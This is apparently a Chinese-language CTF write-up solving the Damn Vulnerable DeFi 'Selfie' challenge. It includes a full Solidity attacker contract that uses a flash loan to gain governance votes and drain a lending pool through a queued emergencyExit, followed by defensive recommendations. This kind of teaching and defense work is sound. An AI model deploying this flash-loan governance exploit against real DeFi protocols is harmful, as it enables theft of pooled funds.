Damn-vulnerable-defi-V4-solution(Selfie)

jerichou
2025-09-01 / 0 评论 / 3 阅读 / 正在检测是否收录...

一、Selfie

mf14jyop.png

背景:有一个提供闪电贷功能的pool。该pool还设有紧急出口,可通过governance合约执行。该governance合约具有queueActionexecuteAction功能。如果调用者获得超过半数的投票,则可以将(调用任意目标地址)的行为加入队列。成功加入队列的操作在等待两天后即可由任何人执行。

governance系统通过 ERC20 投票实现,即投票数以每个持有者持有的代币数量为准。要获得投票权,必须进行委托操作并且可以委托给自己。

该pool拥有 1,500,000e18 ERC20Votes 代币。总共有 2,000,000e18 代币。

攻击思路:

我们部署一个attacker合约,该合约通过闪电贷借入所有代币,并将投票委托给自己。由于代币在委托后会被返还,因此我们暂时拥有 75% 的投票权。然后,我们将一个调用emergencyExit该池的操作加入队列(由于我们拥有超过一半的投票权,因此允许这样做)。最后,等待 2 天后,我们执行队列中的操作并转移资金。

contract Attacker {
    uint256 constant TOKENS_IN_POOL = 1_500_000e18;
    bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");

    SelfiePool pool;
    IERC20 token;
    SimpleGovernance governance;
    address recovery;
    address player;

    constructor(SelfiePool _pool, address _recovery, address _player) {
        pool = _pool;
        token = pool.token();
        governance = pool.governance();
        recovery = _recovery;
        player = _player;
    }

    function onFlashLoan(address, address, uint256 amount, uint256, bytes calldata) external returns (bytes32) {
        DamnValuableVotes(address(token)).delegate(address(this));
        governance.queueAction(address(pool), 0, abi.encodeCall(pool.emergencyExit, (recovery)));
        token.approve(msg.sender, amount);
        return CALLBACK_SUCCESS;
    }

    function attack() external {
        pool.flashLoan(IERC3156FlashBorrower(address(this)), address(token), TOKENS_IN_POOL, "");
    }
}
function test_selfie() public checkSolvedByPlayer {
        Attacker attacker = new Attacker(pool, recovery, player);
        attacker.attack();
        vm.warp(block.timestamp + 2 days);
        governance.executeAction(1);
    }

由于 SelfiePool 的实现是:它会在 onFlashLoan 调用完成后,自己调用 transferFrom,从借款人(也就是攻击合约)那里扣回借出去的代币,Attacker合约必须在 onFlashLoan 里执行:token.approve(msg.sender, amount);

避免这种攻击的常见方法

✅ 1. 使用 Snapshot 阻止闪电贷投票

很多治理代币(例如 COMP、UNI)要求在 proposal 创建时投票时,必须参考一个 过去区块的快照(snapshot block)

  • 意义:投票权不是用当前余额,而是用某个固定的历史区块的余额。
  • 这样攻击者即使闪电贷借了代币,当前区块委托也没用,因为投票权参考的还是之前区块(攻击前他们没票)。
在 OpenZeppelin 的 Governor 里就是这么设计的,默认用 getPastVotes(account, blockNumber)。
✅ 2. 设置治理延迟 (governance delay)

即使有了投票权,也不能立刻执行。

  • Proposal 创建 → 投票期 → Timelock → 执行
  • Timelock 可以是 1 天、2 天甚至更久。
  • 攻击者用闪电贷只能在一个交易里完成借款和还款,无法跨天保持治理权。
✅ 3. 禁止治理代币用于闪电贷

SelfiePool 把治理代币放在池子里,还提供了闪电贷功能,本身就很危险。

  • 解决方法:治理代币不应当被闪电贷借出,或者闪电贷代币只允许稳定币、流动性代币,而不是治理代币。
  • 如果确实要借治理代币,可以在合约里显式禁止:
require(address(token) != governanceToken, "Governance token cannot be flash loaned");
✅ 4. 在治理逻辑里校验“投票权的稳定性”

比如:

  • 要求代币持有 超过 X 个区块/时间 才有投票权。
  • 或者在提案时检查,投票权是否来自稳定持仓,而不是闪电贷瞬时余额。

要避免这种攻击,常见防御手段有:

  1. 投票权基于过去快照区块(最常见 & 主流做法);
  2. 治理延迟 + Timelock,避免立刻生效;
  3. 治理代币不能提供闪电贷
  4. 要求持币时长,防止瞬时治理。
0

评论 (0)

取消